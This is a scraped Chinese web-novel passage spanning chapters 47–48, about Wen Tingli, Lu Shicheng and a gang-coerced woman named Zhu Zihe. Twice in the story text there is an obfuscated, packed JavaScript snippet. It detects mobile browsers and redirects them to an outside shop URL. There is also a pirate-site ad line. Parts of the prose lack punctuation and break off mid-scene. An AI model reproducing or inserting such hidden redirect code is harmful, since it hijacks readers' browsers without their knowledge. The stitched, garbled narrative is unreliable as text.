闻亭丽正是心乱如麻听见前面那句话忍不住道:“我偏要这一束!陆先生若是事后见怪就让他找我来问罪便是了。” 她急冲冲抱着那束花下楼途中不敢打开来检查而是通过廊道的窗口将其甩到医院后巷一个无人的角落随即给厉成英打电话汇报这一情况。 厉成英的人在附近有联络站他们在处理这类物品时历来很有经验。 不一会 “没有毒-药也没有炸-弹但里面有一张朱紫荷的近身照。” 朱紫荷这是不搞武力改为怀柔政策了?不论朱紫荷打算用什么方法对付陆世澄看陆世澄那样子他是很愿意接受的 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13482363|135222||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 。英雄难过美人关又何必她在其中多事? 她决定不再插手这件事回房望见 那些尚未吃的粥点,秉持着不浪费食物的原则勉强吃了两口,便再次拿起自己的书袋,打算离开这家医院。 忽听门外有轮椅的声音,只听随从说:“澄少爷。” 闻亭丽一滞。 陆世澄来得很快,外头很快便响起了轻轻的敲门声。 闻亭丽转身用背抵住门。 “陆先生?你怎么来这里了?” “笃笃笃”,陆世澄敲门的动作隐约透着几分焦灼,这实在不符合他往日的稳重作风。 “我知道了,陆先生一定是想讨回朱小姐的鲜花。”闻亭丽抱着胳膊说,“实在抱歉,我瞧那束花很不顺眼!刚才已经把它扔到垃圾桶里了。” 敲门声戛然而止。 隔着薄薄的一道门,廊道里一点声音都没有。 闻亭丽按耐不住将门打开一条缝往外看,蓦然对上一双幽沉的眼睛,陆世澄不但没生气,甚至在笑。 对上他的笑眼,闻亭丽脸颊一烫,把门重新关上,嘴上继续说:“陆先生怎么还没走,你是打算向我兴师问罪吗?” 没听到敲门声,倒是门缝底下塞进一样东西,捡起来,是一张便笺。 【我想请你参加我的生日会,我有非常重要的东西想要送给你。】 “可是陆先生之前已经邀请别人了,我这人,独占欲很强,而且霸道得很。除非你只邀请了我一个,否则我宁肯不去。” 门外再次传来轻微的动静,闻亭丽屏住呼吸等待他的下一张便笺。 忽听廊道里急促地跑来几个人:“澄少爷,老太爷来了。刚到门口,邝先生已经率众前去迎接了,您在这里不走的话,老太爷说不定直接找过来,以他老人家的脾气,难保不会当众给闻小姐一些难堪。” 闻亭丽听得心惊肉跳,等她再次拉开门,门外已是空空如也,前两日就听说陆老先生启程回国了,但没想到回得这样快,而且一来就闹出这样大的阵仗。 其实她一直很好奇陆家的这位传奇人物究竟长什么样,作为陆家的第二代接班人,这位陆老先生可谓一生下来就含着金汤匙,可他年轻时并没有像其他富家子弟那样坐享其成,而是励精图治、稳扎稳打,短短十几年时间,就成功让陆家在南洋的版图扩大了整整一倍。 陆世澄和他 父亲那出色的个人能力,显然都遗传自这位陆老太爷。 但陆老先生在处理家庭关系方面称得上一塌糊涂,陆家的悲剧皆因他而起,也因此,陆世澄跟祖父的关系远远称不上亲密。 闻亭丽对着空荡荡的走廊发了一会愣,为了惹出不必要的麻烦,决定先退回房中,这一动,才发现脚下踩着一张纸条,像是陆世澄方才留下来的,展开看。 【没有别人,只有你。】 她的心不受控制地怦怦跳起来。 *** 晚上,闻亭丽一度想去医院探望陆世澄,又担心会撞见那位陆老先生,在陆世澄没有把话同她说明白之前,她实在不想再惹出什么闲话。 没想到的是,此后的两天,陆世澄一次也没有给她打过电话,就连邝志林也是一点消息都没有。 闻亭丽的心情起起伏伏,一开始,她猜测陆世澄是不是病情加重了,但第二天的报上陆续登出了陆家要举办生日宴会的新闻,可见陆世澄的身体在飞速好转。 她紧接着又猜陆世澄是不是在忙着应付自己的祖父,在等待消息的过程中,她突然意识到,一个人只要有心,不管再怎么忙,总能找到机会给她打电话的。 由此可见,陆世澄并不多么想她,亏她还以为他会忍不住马上来找她。 倒是那些陆家的护卫,仍日日夜夜守护在她家外头。 除此之外,那位皮肤科的女大夫每日都会准时提着手提箱上门为她诊治,这样的大夫诊金绝不会低,但对方一次也没有提过费用的事,想来费用已经提前缴纳过了。 对此,闻亭丽也有自己的理解,诚如陆家那位随从所说,陆世澄既把她视作自己的恩人,再怎么关照她也不足为奇。 这样想着,闻亭丽将那几张纸条一并揉成一团扔到抽屉里,决定不再自寻烦恼,改而将全部注意力都放到自己的新戏上。 她每日天不亮就去片场,每日天黑才回家。只要棚里有戏在拍,她就混在工作人员里在旁学习,看那些老演员怎样走位、怎样在镜头前精准地表达情绪。 这场戏拍完,就赶去下一场。饿了就跟着剧组蹭点饭,渴了就喝从家里带来的白开水。 几天下来,她的进步可谓神速,片场的人看她勤快认真,也都对她产生了好感 一些业内的前辈叫不上她的名字便亲切地称她为“那个小姑娘”赶上某场戏要补拍还会主动把闻亭丽叫过去让她在边上学习闻亭丽渐渐在片场如鱼得水。 唯独《时间的沙》剧组是例外该戏的男主演邓天星仗着自己是当红小生曾大肆驱赶过闻亭丽好几回闻亭丽总归是新人闹得不可收拾时只得以赔罪收场。 这日中午黄远山在化妆室找到闻亭丽坐下后也不说话只是好奇打量闻亭丽。 闻亭丽奇怪:“怎么了?是不是邓天星又告我的状了真不知道我什么地方得罪了他有事没事老爱找我的麻烦。” 黄远山却眯了眯眼:“你在烦恼。奇怪你闻亭丽可不是喜欢发愁的人最近是不是什么遇到烦心事了?” “最大的烦心事是我马上要开学了而这部戏还没正式开拍我正发愁到时候怎么跟学校请假呢。” 黄远山啧啧有声:“你会因为这样的小事烦恼?你历来是笃信‘车到山前必有路’的强人是不是谈恋爱了?难怪前段时间总不见你。” 闻亭丽像被黄蜂蛰了一下:“我跟谁谈恋爱?黄姐你不要瞎讲。” 黄远山却没那么好打发话锋直逼闻亭丽的内心:“上回我在你家跟你分析过之后你可曾约陆世澄出来谈过他怎么跟你说的?” “陆世澄是谁?我为什么要约这个人?我跟他八杆子也打不着我看你真是忙糊涂了。” “是是是我糊涂。不只我糊涂大家都糊涂。” 黄远山闲闲起身对着镜子理理自己的头发嘴里哼唱起自编的小调:“爱情呀你真让人糊涂你真是个坏东西你让人永远也猜不透。你以为他是那样想其实是这样他以为你的心思是这样其实是那样我的心要被你这坏东西蹂躏坏了噢噢噢……” 闻亭丽正想躲到别处去 在闻亭丽的印象中黄远山甚少如此盛装她最恨穿衣打扮她认为一个人与其浪费大把时间和金钱涂脂抹粉不如把精力用在读书和专业上。 黄金影业的大老板刘梦麟曾让黄远山穿旗袍烫卷发说是要帮她打造一个“美人导演”的身份这样她拍的电影会更有话题性。 第 47 章 【含加更】明牌。 第47章【含加更】明牌。 闻亭丽的到来并没有让陆世澄感到意外,他继续用枪指着朱紫荷,却不自觉换了一种温和的目光示意闻亭丽进屋,仿佛自己正处理一件微不足道的小事,叫她不必担心和害怕。 可当他发现闻亭丽身后并没有邝志林时,明显怔了一怔。 闻亭丽来不及解释自己并非是邝志林领来的,而是她自己闯来的,她正忙于察看屋内的情形。 陆世澄身后的地板上摔碎了一只杯子,水也因此全洒在地毯上,某一块地毯已经有点干了,绒面上凝结着一层白霜。 那分明是一杯毒水! 她果断用自己的背部抵住房门,同时把枪口瞄准准朱紫荷,铁青着脸喝问:“你到底是什么人?!” 朱紫荷讶笑道:“你有枪?!陆世澄,你看,你的闻小姐竟有枪。” 陆世澄作势要扣动扳机,闻亭丽冲上前拦住陆世澄:“等一等。” 她虽讨厌朱紫荷暗算自己和陆世澄,却不希望在弄明白真相之前让朱紫荷受到任何伤害。 朱紫荷声音有些发抖:“陆世澄,我都已经落到你们手里了,你又何必急着开枪,你总不能当着闻小姐的面开枪杀人,这会吓坏她的!” 前面的话对陆世澄毫无作用,但最后一句话似有奇效,让他一下定在了那里。 朱紫荷并不感谢陆世澄,反而冲闻亭丽的方向挤挤眼睛:“谢谢。”可惜她面色惨白,说这话时样子有点好笑。 闻亭丽多多少少有点明白了,朱紫荷先前那番作为,摆明了就是想引她前来。也许在朱紫荷看来,只要她在场,就意味着自己安全。 想到此,闻亭丽愈发确定心里的判断,握紧枪蹲下来搜了搜朱紫荷的身,确定她身上没带任何武器,便低声同陆世澄说:“她跑不掉的,要不先听听她怎么说。” 陆世澄继续用枪指着朱紫荷,起了身,一边瞄准朱紫荷的后脑勺,一边缓缓退到窗户边,反手把窗户对外打开。 朱紫荷神色再次变得紧张起来。 “陆先生,你先别急着让你的手下们上楼!听我说——我不清楚你是什么时候开始怀疑我的,但我发誓绝无谋害你的想法,今晚我之所以这样做 是受白龙帮所逼迫。三月前的某一天白龙帮趁我母亲外出时绑架了她。他们打听到我母亲跟你母亲曾经是要好的同学由此认定我是最理想的暗杀你的人选他们威胁我来上海接近你逼我想办法算计你——假如我不肯照他们说的做他们会立刻杀害我的母亲。” 她的嘴唇不停地发颤但她仍竭力保持声线的稳定。 “来此之前他们把你的习惯和喜好做成一份资料交给我对我进行了强化培训他们教我如何取悦你命令我在最短时间内获得你的青睐和信任上回逸菲林和欣欣百货博弈时白龙帮本想利用我把你引到逸菲林酒店的选美决赛大会上去以便他们在决赛当晚设局谋害你可惜尽管我一再利用邹校长的关系接近你你却始终对我无动于衷。” 说到这里她用一种含蓄而暧昧的态度看了看闻亭丽和陆世澄无奈叹一口气: “眼看我迟迟不能打动你白龙帮对我越来越没有耐心那天我之所以贸然随邹校长去医院看你就是因为白龙帮已经给我下了最后通牒:假如十日内我不能得手他们就会把我母亲的尸首照片寄到我手上。” “你为什么没想过向邹校长求救?”闻亭丽冷冷打断朱紫荷。 “怎会没想过?”朱紫荷凄惨地笑了笑“但出发前他们就曾警告过我他们早在陆先生身边安插了眼线我胆敢向外求救的话我的母亲会死得更惨。抵达上海后我曾偷偷试过两次结果发现不管我做什么他们都会第一时间得到消息更何况上海离天津那样远即便我冒险向邹姨和陆先生求救不等陆先生的人赶到天津我母亲就会惨死在他们手上。” 说到此处她骇惧地闭了闭眼。 “他们曾在我面前杀过一个人只一枪那人的胸膛就破了个窟窿鲜血汩汩地流了出来整片地板都被染红了。短短几分钟、短短几分钟一条人命就在我面前消失了!我怎敢拿我母亲的性命来冒险?!” 闻亭丽没吭声。从厉成英提供的线索来看朱紫荷并未说谎。朱太太是天津妇女互助协会的老成员几乎每日都会去相关机构工作三个月前朱太太忽然间就不露面了此事迅速引起了同事们的警觉后来还是朱紫荷替她母亲打电话请了病假 如今 看来朱紫荷多半是在白龙帮的胁迫下打的那通电话。 关键是厉成英掌握的线索似乎远不止这些其实她一早怀疑厉成英在白龙帮有内线否则不会准确得知曹帮主要从天津找人来谋害陆世澄更不会那样快锁定那个人就是朱紫荷。 这样一想她对朱紫荷的敌意减轻了几分换作是她的母亲落到白龙帮的手里她多半也会做出跟朱紫荷一样的选择。 陆世澄却只是用冰冷的目光睨着朱紫荷这番话刚说完他就转头对闻亭丽指了指那张远离自己的书桌。 闻亭丽默契地绕到书桌后拉开了第二只抽屉。 抽屉里放着一沓照片和一封信。 闻亭丽没有碰那封信因为信封上写着【陆小先生亲启】她直接将底下的照片抽出来。 照片里是一位四五十岁的中年女人地点是在一座老房子前这位太太在一位老妈子的搀扶下进屋步伐有点蹒跚。 闻亭丽快步回到陆世澄身边在对比一番朱紫荷和中年女人的相貌之后小声同他确认:“这是朱太太?” 陆世澄点点头用目光示意闻亭丽查看照片的背面。 背面写着一行字。 【摄于八月二十九日下午四点】。 竟是前天的日期!闻亭丽没好气地对着朱紫荷说:“亏我那样同情你!原来你的母亲前天就获救了!那你为何今天还不肯对邹校长和陆先生说实话?为何今晚还要谋害陆先生?!” 朱紫荷露出一副吃惊的表情:“我母亲获救了?我、我并不知道。” 对上陆世澄的眼神她瑟缩了一下 “我?”闻亭丽莫名其妙。 朱紫荷指了指地毯上的那片白痕:“那杯水里根本没有所谓的毒-药那只是普通的胃药陆先生不信的话可以马上派人送去化验既然我已经母亲获救了我可不想再做白龙帮的帮凶今晚我想对付的人从头到尾就只有闻亭丽。” 闻亭丽跟陆世澄疑惑地对视一眼。 “闻小姐。”朱紫荷的目光牢牢叼住了闻亭丽,“你一定很好奇我为何要这样做,如果你信得过我,我想私底下跟你谈一谈。” 陆世澄毫不犹豫对准朱紫荷的脚前开了一枪。 朱紫荷惨叫起来,陆世澄在枪管口包了一块厚厚的毛巾,所以声音只是闷闷的一响,但地毯绒面立即焦黑一片。 那颗子弹距离她的脚面仅有几公分,朱紫荷浑身抖得像筛糠。 闻亭丽下意识按住陆世澄的手腕,急声冲朱紫荷道:“都到这地步了,你就别想着耍花样了,有什么话还不快说。” 朱紫荷哆嗦了好一阵才勉强平静下来:“既然闻小姐拒绝我的好意,那我只好照直说了,我敢担保我接下来说的话句句属实。 “没猜错的话,陆先生对我起疑心是在我去医院探望那一回。在此之前,几乎没人知道陆先生受伤的事——医院是陆家的私产,陆先生身边的人更是个个守口如瓶,唯一的破绽就在邹姨身上,陆先生当然不会怀疑邹姨,却忽略了她身边还有一个我,我从白龙帮的人的口中得知陆先生出事,立即让他们把消息在报上散播出去,这样我就能光明正大去医院探望陆先生,进而采取下一步的行动。陆先生十分敏锐,那日在病房里,当他想明白问题出在我身上之后,便立即决定布局对付我。” “不要再绕弯子了!” 朱紫荷苦笑:“可我要说的就是这个!闻小姐,陆先生身边不乏能人异士,连他也是到直到医院那一次才开始怀疑我,你却一早就瞧出我有问题,记得当初在邹校长家里的那一晚,你曾有过许多奇怪举动,你蓄意破坏我跟陆先生单独相处的机会,还假装摔跤打翻了我给陆先生倒的一杯水,那样冒失和无礼,与你平日的作风大相径庭,当时我就纳闷,难道你一早就猜到那杯水有问题?” 闻亭丽头皮一炸,透过余光,明显发现陆世澄也滞了一下。 “不只那一次,此后你的种种举动,都证明你异常防备我,这就奇怪了,你此前甚至不认识我。”朱紫荷意味深长地说,“白龙帮的这个局成功瞒过了邹姨、瞒过了邝志林、甚至瞒过了陆小先生,唯独没能瞒过你,而你只是一个学生,我想不通你为何能提前得知这一切?除非——” 她沉稳地做出结论:“你本身就是白龙帮的人 。或许,由始至终我只是一个充当先驱的棋子,你才是白龙帮真正想要安插在陆世澄身边的人,借着这次揭发我,来彻底打消陆先生对你的戒心。 闻亭丽不想解释。 “说实话,我并不担心你如何对付陆先生,我只害怕你今后会对邹姨不利,你表面上是务实中学的毕业生,可以找各类借口频繁接近她老人家,所以,尽管前天我就得知我母亲得救了,我还是决定利用这个难得的机会诱你一回,今晚我故意让你看见那张纸条把你引到此处来,就是为了逼你露出真面目,刚才的这一幕已经证实了,你的的确确有问题。 闻亭丽笑道:“你凭什么这样肯定,就凭我看到纸条之后忍不住来找你和陆先生? 朱紫荷微微一笑。 “我猜,你会把这一切都推到‘吃醋’上,可是…… 说的域名caixs.com?(请来才小 说 看最新章节 完整章节)她倏然指向闻亭丽手中的枪,“仅凭着一股醋意,是不可能进来之前就举着枪的!从你举枪来找我和陆世澄的那一刻,你就已经暴露无遗了!你分明早就知道我是个危险人物,却一直按兵不动,比起我,你才是居心叵测的那个。方才我想跟你单独谈谈,无非是担心你也是被白龙帮所胁迫才如此,我同情你的境遇,很想帮你一把,很可惜,你拒绝了我的好意。 闻亭丽不禁在心里为朱紫荷喝了一声彩,这女人实在太聪明也太有全局观,这样的危境也能让她成功扳回一局。 她不是没有法子破局,但在开口之前,她得先看看陆世澄会怎样看她。假如他因为旁人的一两句话就怀疑她居心不良,她也就没有留下来辩解的必要了。 陆世澄的回应比她意料中还要快。 他走到书桌边,重新拉开抽屉把那封信拿出来,将其扔到朱紫荷面前。 信上的内容很简短。 【陆小先生亲启: 吾等查到天津朱太太被关押处时,朱太太已被另一伙人成功救出,又于昨夜被安全转移到北平关山北巷五十九号附近,经查,那片产业似与上海卫英帮有关联,今早朱太太已被护送至北平妇女保护协会在安仁巷的一处寓所,详情待查。】 “卫英帮?朱紫荷有些茫然。 陆世澄没作多余的解释,只冷睨着她。 朱紫荷非常聪明,略一思索,讶然道:“难道说,我的母亲 不是陆先生你的人救的,而是卫英帮的人救的?” 陆世澄扬眉一扬。 朱紫荷醒悟地把目光再次锚定了闻亭丽:“所以你是卫英帮的人?!我的母亲真是你们帮忙营救的?” 她的声音有点发颤。 闻亭丽冷然道:“上月初就有天津妇女协会的同仁察觉你母亲失踪了,你是她的独生女,出事之后非但没有向外界求助,还专程跑到上海参加选美比赛,这件事极不寻常,朱太太在天津妇女协会帮助过很多苦难女性,她出事,我们当然不能见死不救,但一来卫英帮不能确定白龙帮究竟打算逼迫你做什么,二来她们尚未弄明白白龙帮将朱太太藏在何处,只好先派人到你身边监视你,再采取下一步的营救行动,又怕陌生人会引起你的警惕,只好通过上回帮过我的一位成员,委托我去试探你。” 陆世澄侧头听着闻亭丽这番话,他听得相当专注,仿佛生怕少听一个字。 闻亭丽嘴上言之凿凿,余光却不断偷瞄身边那道颀长的身影,陆世澄的聪明和果决让她心惊肉跳,才几天,他就已经不露声色完成了调查、布局和营救一系列举措。 由此可见只要陆世澄想调查什么事,她在他面前几乎是透明的。 幸好上次救陆世澄时,她为了保护厉成英,曾经主动对陆世澄“透露”过自己与卫英帮的关系。 她也庆幸今晚来陆公馆之前,提前打电话跟厉成英确认过最新的线索。 否则凭她脑筋转得再快,在面对今晚这样复杂的局中局时,也未必能从容应对。 不过话说回来,她在陆世澄面前本来就不曾隐瞒过什么,除了——她跟邓院长和厉成英的关系,但这本就是她做人的底线,何况她们把他救出来的那一次,他应该早已猜到她对他有所隐瞒。 想到此,她干脆坦然望着陆世澄,他也在看她,他的眉眼就跟书桌前那如水的灯光一样柔和。 没有动摇,没有怀疑,全程只有信任和维护。 这态度,比世上最动听的话语都更让人安心。 闻亭丽藏在心里的笑容慢慢移到了脸上。 那边的朱紫荷怔怔想了半天,突然低下头羞惭地笑了起来: “怪不得你虽然防备我,却不曾在任何场合给过我难堪,原来你一开始 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13482364|135222||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 就 知道我是被逼的——是了,直到今晚,你都尝试着给我一个全身而退的机会,而我却把你当作白龙帮的细作来对付,我真是——” 她满脸愧意,在地上向闻亭丽艰难地欠了欠身。 “对不起,我向你郑重道歉,不,我得先向你们道谢——谢谢你们,谢谢你们营救我的母亲,刚才我说的都是实话,我母亲已经被救出来了,白龙帮无法再威胁我,我会尽全力配合你们的调查。” 她的眼眶有点红,但语气是异常诚挚的,说完这话,仿佛一下子失去了支撑自己的精神力量,软绵绵瘫在地上。 *** 十五分钟后,朱紫荷在邝志林等人的押送下离开书房。经检查,那只摔碎水杯里的确不是毒-药,而是某种西式胃药。 邹校长在一楼的会客室焦急地等待朱紫荷。邝志林已将事情的经过对她老人家大致说了一遍。 对于朱紫荷利用自己这件事,邹校长感到无比的震惊和心寒,但一想到她们母女在白龙帮手里遭受了这样大的折磨,又萌生了同情和怜悯,出于正义感和责任心,她决定连夜陪朱紫荷去北平探望自己的老友,又因担心朱紫荷身上有伤,请求陆世澄帮朱紫荷找大夫检查。 大夫很快找来了,但陆世澄不同意大夫在陆公馆为朱紫荷看病。 很显然,在这件事上,陆世澄有他的原则。 在弄清楚前因后果之后,他就不再为难朱紫荷。 但他希望朱紫荷在最短时间内离开陆公馆。 邹校长倒也没再坚持,只是颔首:“世澄是个是非分明的人,也好,那就让大夫去我家为紫荷检查身体。” 刚被押送到楼梯转角处,朱紫荷猛地停下脚步。 “我想单独跟闻小姐聊几句。” 陆世澄恍若未闻,护着闻亭丽向下走。 “别担心,我绝不会伤害闻小姐,我身上没有任何可以伤害人的武器,这一点你们已经确认过了,我这次离开上海,也不知道何时才能回来,有些话我非得跟闻小姐说一说不可,五分钟,只要五分钟,你们若是不放心,可以全程在门外监视,亭丽……” 她用哀求的目光望着闻亭丽。 闻亭丽不假思索地说:“可以。” 陆世澄不肯退让,闻亭丽小声对他说 :“不会有事的你在外面看着。” 陆世澄想了一想只好让邝志林带人把闻亭丽护送到刚才的房间自己则守在门口。 闻亭丽对陆世澄做了个“放心”的眼神进屋时特地不关门只是带朱紫荷走到房内深处的窗前。 “有什么话现在可以说了。” 朱紫荷扭头察看门口在确认陆世澄等人听不到自己和闻亭丽的谈话后嘴角露出一点神秘的微笑。 “我知道这次营救我母亲的不是卫英帮的人闻小姐你究竟是什么来历?”她的声音压得很低。 “嗬 “别走!”朱紫荷苦笑着拦住闻亭丽“我这样说自有我的判断当初我母亲被绑票后其实我第一时间找过卫英帮的天津分会。” 闻亭丽背上瞬间冒出一层冷汗。 “总之……”朱紫荷咬住下唇“我跟卫英帮天津分会的人打过交道我很确信这次出手的不是她们。不过你放心不论你们是什么来历冲着你们费心费力营救我母亲的这份恩情我朱紫荷今后就是你们最值得信赖的伙伴这件事我不会对任何人泄露一个字的。” 闻亭丽不为所动朱紫荷竖起两根手指做发誓状:“你想想假如我诚心想出卖你刚才在陆世澄面前就会说出我的疑惑了。我敢用我自己的性命发誓我绝不会向任何人提起这事。” 闻亭丽依旧十分警惕却忍不住问出一个埋藏在心底已久的疑惑。 “既然那一晚你就发觉我是故意碰洒你那杯水的为何你从未跟白龙帮提过我?” “我要是真跟他们说了麻烦不就转移到你的头上去了?”朱紫荷矜持地昂起自己的下巴“被绑票的是我的母亲又不是我的灵魂我固然惜命有些事我还是不屑于去做的。” 闻亭丽吃吃轻笑直到这一刻她紧绷的神经和肌肉才真正放松下来的确朱紫荷来上海之后迟迟未采取行动可见这世上有一类人即便被逼到绝境上也不会轻易出卖自己的人格。 再端详朱紫荷时她的眼神中少了一分戒备多了一分欣赏。 “你知道自己在陆世澄面前暴露了所以故意在前厅用那种法子引我过来 ?你怎么敢确信我一定会跟着你来后楼?她小声逼问。 “我当然敢确定。朱紫荷笑得很笃定,“你喜欢他,喜欢得不得了。 闻亭丽脸颊一烫。 “你的醋意根本藏不住,这可不是理智就能左右的,即便聪明如你,也会在独占欲的驱使下过来一探究竟,我赌的就是这个。 闻亭丽无言以对,索性转头看向窗外,前楼飘来阵阵乐声,玻璃窗里人影绰绰,陆家请来了沪上最出名的戏团和乐队来助兴,宾客们正忙于饮酒作乐,无暇关注后楼的动静。 “实不相瞒,第一次跟你和陆世澄坐在一起吃饭时,我就预感到这个任务完不成。朱紫荷走到窗前,与闻亭丽并肩而立,“那一晚,同桌吃饭的只有八-九个人,你三岁的妹妹也在。陆世澄面上对你很淡,但不论你给你的妹妹夹菜抑或你跟你的同学说话,他总会不由自主停顿几秒。 闻亭丽竖着耳朵静静听。 “你跟同学开玩笑的时候,他会分神,你说到自己要拍戏的时候,他会侧头倾听,当时我就知道,即便那时候他对你没动心,至少也对你产生了极大的兴趣。朱紫荷好笑地端详闻亭丽脸上的红霞,“难道你当时并未察觉到这一点?我还记得散席后你是怎样纠缠他,他那样的人,若非自己愿意,怎会给你纠缠自己的机会?我以为你心里早就有数了。 闻亭丽红着脸轻咳一声,她不想让自己在朱紫荷面前流露太多的窘态,于是决定拿回话语的主导权。 她回脸正视朱紫荷:“依我看,那次在医院,你是故意在陆世澄面前露出破绽的,白龙帮给你下了最后通牒,你为了破局,干脆决定借助陆世澄的力量营救你的母亲,这是个极端冒险的计划,第一步就是在陆世澄面前主动暴露你自己,这些都不提了,我问你,你那天在病房所说的‘那一晚’究竟是怎么回事? “你猜。朱紫荷诙谐地冲闻亭丽眨眨眼。 闻亭丽鼻哼一声:“不说我也知道,不过是你一次失败的经历罢了。 “是,我失败了。朱紫荷无所谓地耸耸肩,“某一晚,我耍了一点花招想要搭陆世澄的便车,我自信那次偶遇做得天衣无缝,我的腹痛也装得很逼真,陆世澄却不肯让我上他的车,他让司机下车帮我从租车行另叫了一 第 48 章 倾心。 第48章倾心。 闻亭丽对着满桌的饭菜,颇有种无从下手之感。 这是后楼的饭厅,陆世澄把她带到这儿后,饭菜在十分钟之内就摆上了桌。 每一道菜看上去都是那样鲜嫩可口,每一盘的美味都不容辜负。她目不暇接,左右为难,最后决定先从离自己最近的那盘笋尖吃起。 今晚刚到陆家时她压根吃下任何东西,但现在,她心情好到能把一整席都吃完。 在闻亭丽大快朵颐的时候,陆世澄在对面看着她。 他面前摆着一大碗面。等到闻亭丽吃到一半时,他有条不紊地把整碗面吃光了。 闻亭丽心里乐开了花,看样子陆世澄的胃口比她还要好。 但她同时也留意到那是一碗寿面。 今晚是陆世澄的生日,除了客人,陆家那几位长辈都没在场,再热闹,陆世澄也是自己一个人过生日,可他显然已经习惯这一切了,她又一次注意到他手背上的伤疤,前不久他才从一次劫难中侥幸活下来,但陆家那位老先生似乎对此漠不关心。 这样想着,闻亭丽突然有点吃不下了,她轻轻放下筷子,很文静地看着陆世澄说:“我想用一下洗手间。” 饭厅里只有他们两个人,就连邝志林也以招待前楼的客人为由知趣地躲开了。陆世澄自己兼任着主人和服务生的角色,他起身帮她拉开椅子,又领着她朝走廊走去,一直到盥洗室面前才停下。 等闻亭丽出来回到饭厅,陆世澄已经净过手面,在那儿喝茶。 闻亭丽将两只手藏在腰后,走到他身旁,笑眯眯把东西拿出来递给他。 陆世澄一滞,那是一个狭长的小皮匣。 接过来打开,里面是一支钢笔。 【给我的?】 他好似有点不确定。 闻亭丽真诚地望着他:“祝你生日快乐。” 有那么几秒,陆世澄没有任何反应。 闻亭丽有点忐忑,她固然生气陆世澄好几天不曾来找她,但她既然答应来参加他的生日宴会,少不了要为他准备一份生日礼物。 这是来时路上在永兴洋纸行买的,专门挑的最贵的那一支,但她拿不准是否合乎他的审美。 陆世澄将钢笔从盒子取出,在手里摩挲起来,壳子是玳瑁做的,笔身则是沉稳的黑色,摘下壳子,笔尖在灯下闪烁着别致的银光。 那点光似能照耀到人的心里去。 看了几眼,陆世澄毫不犹豫将自己西装口袋里的那支常用的笔取出来丢到一边,把她送他的这支新的钢笔放进去。 他做得那样自然。 闻亭丽飞快转头掩去嘴边的笑意,很快又回头,对陆世澄摊开手心:“给我。 【什么?】 “把钢笔给我。 【不是已经送给我了吗?】 闻亭丽直笑:“你先给我。 陆世澄不大情愿地取出钢笔放到闻亭丽手里。 闻亭丽旋开笔盖给他看:“还没有装墨水呢,老板说,要用德国的鲁宁墨水,你这儿有吗?我给你装上,不然用不了。 陆世澄看着她笑起来。 【有,跟我来。】他起身。 花园里到处是人影,陆世澄带着闻亭丽远远避开人群。 闻亭丽这才知道花园里还有一条不起眼的小径。每一次转弯时,陆世澄都会下意识回头看看她,仿佛生怕她没跟上来似的。 两个人静悄悄从西边的小楼走回前楼,那模样活像是在做贼。 闻亭丽却只觉得好玩。 走到一扇门前,陆世澄拧开房门,低头望着闻亭丽。 【进来。】 闻亭丽一溜烟钻进去,身形灵活得像一条金鱼。 陆世澄在她的身后关上门,顺手在她脑袋后上方拧亮灯。 灯一亮,闻亭丽就觉得房内的摆设莫名熟悉。她来过这儿,这是陆世澄的书房。 上次她荣获务实女子中学的育英奖,陆世澄就是在这间房为她颁发的奖章。她情不自禁回头望他,外面很吵闹,屋子里却安静得只能听见他和她的呼吸声。 陆世澄垂眸望她一会,径直走到书桌前拿起某样东西。 【这是鲁宁牌墨水。】 闻亭丽也不问他为什么不自己灌,走过去接过钢笔,当着他的面把墨水吸进去。 “试一试。她半俯在办公桌边,托腮指了指他手边的一叠纸。 陆世澄站在她身边写了写,双方的距离是那样的近,闻亭 丽却连一点点要躲开的意思都没有当她看着他用她送的笔写出第一个字时心弦像被什么东西轻轻撩动了一下。她有一点心悸也有一点头晕她甚至没看清他写的是什么只知道钢笔出水很流畅。 【谢谢我很喜欢。】 她看到他写下这句话。 “噢。”她故意看向一边 很快她再次听到沙沙沙的声音。 【原谅我。】 “原谅什么?” 【原谅我前几日因为急于处理陆家内部的叛徒没能及时去找你。】 闻亭丽的心湖像被一阵轻柔的风吹动。她没动只是歪看着书桌在陆世澄的右手边有一个水晶花瓶里面插着几枝鲜花可她连花瓣的形状都无心观察此刻她的心腔完全被一种愉悦的情绪占满了。 她原以为在经历了刚才那场风波之后陆世澄会先问一问她为什么宁肯偷偷跟着朱紫荷也不肯跟邝志林走想必他已经看出来了在朱紫荷这件事上一开始她并不信任他。 陆世澄聪明就聪明在他没有追问她为什么不肯信任自己而是很快想明白症结就出在他自己身上。坦诚就坦诚在没有在这种事上玩男女之间你猜我猜的暧昧把戏而是开门见山为自己前几天的行为向她道歉。 他的敏锐和直白让她猝不及防。 在亲眼看到他写下那句话的一刹那她的嘴角就情不自禁向上弯。 “今晚我本来是不想来的。”她直白地、含着嗔意说道“我怕我长久以来都误会了陆先生的意思……” 她并不知道陆世澄的心跟她跳得一样快他屏住呼吸从怀里取出一个红色的锦盒。 “这是什么?”闻亭丽的声音轻得像一缕烟。 【你的礼物打开。】 闻亭丽睫毛颤了颤陆世澄有着一双白皙秀长的手盒子则是海棠红两种强烈的色彩映在一起莫名具有一种刺激性的诱惑力她预感到那不是寻常的东西屏住呼吸伸手接过岂知盒子比她想象中要重上许多让她失手没拿稳。 好在陆世澄眼疾手快一把将其抄在了手里。 